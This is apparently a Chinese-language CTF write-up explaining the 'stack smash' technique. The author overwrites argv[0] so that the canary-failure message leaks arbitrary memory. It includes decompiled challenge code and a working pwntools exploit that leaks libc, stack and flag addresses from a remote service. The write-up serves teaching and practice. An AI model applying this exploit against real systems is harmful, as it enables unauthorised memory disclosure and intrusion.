stack-smash

一个栈溢出利用小技巧,用以对抗canary保护~

stack-smash

当开了canary后,若检测到canary被破坏,在部分版本的libc中将会输出错误信息:

1
"*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>"

argv[0]即程序名存储在栈上,所以一个大胆的想法出现了,利用它泄露信息,即把该指针改掉形成任意读。

题目

忘了来自哪里的题目

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
int v5; // [rsp+1Ch] [rbp-84h]
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf; // [rsp+30h] [rbp-70h]
char s2; // [rsp+60h] [rbp-40h]
unsigned __int64 v10; // [rsp+98h] [rbp-8h]

v10 = __readfsqword(0x28u); //canary加持
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); //flag读到栈上
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 ) //可以利用三次
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11(); //内部使用fork
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2); //明显的溢出
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o "); //只输出正确或失败,整个程序输出不可控
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}

如上利用思路就很清晰了,使用stack smash

  1. 覆盖argv[0],第一次覆盖为setvbuf,泄露出libc地址
  2. 第二次覆盖为environ泄露出栈地址
  3. 第三次覆盖为flag泄露出flag

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# coding=utf-8
from pwn import *

#p = process("./GUESS")
p = remote('106.75.90.160',9999)
#gdb.attach(p)

p.sendlineafter('Please type your guessing flag','a'*296+p64(0x602068))
p.recvuntil('*** stack smashing detected ***: ')
setvbufAddr = u64(p.recvuntil(' terminated')[:-11].ljust(8,'\x00'))
print hex(setvbufAddr)

p.sendlineafter('Please type your guessing flag','a'*296+p64(setvbufAddr + 0x3570c8))
p.recvuntil('*** stack smashing detected ***: ')
setvbufAddr = u64(p.recvuntil(' terminated')[:-11].ljust(8,'\x00'))
print hex(setvbufAddr)

p.sendlineafter('Please type your guessing flag','a'*296+p64(setvbufAddr - 0x168))
print p.recv()